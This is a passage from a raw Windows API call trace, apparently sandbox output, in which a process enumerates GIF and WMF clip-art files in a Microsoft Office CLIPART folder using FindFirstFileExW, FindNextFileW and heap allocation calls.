Flags=0x8, Size=0x80) returned 0x943840 [0245.563] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5a0 [0245.583] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.707] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0245.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x943730 [0245.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934f50 [0245.707] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9438c8 [0245.707] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x943730) returned 1 [0245.707] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0245.707] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0245.707] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0245.708] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a5f2300, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a5f2300, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1c4f00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab1c4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0245.709] FindNextFileW (in: hFindFile=0x4fd5a0, 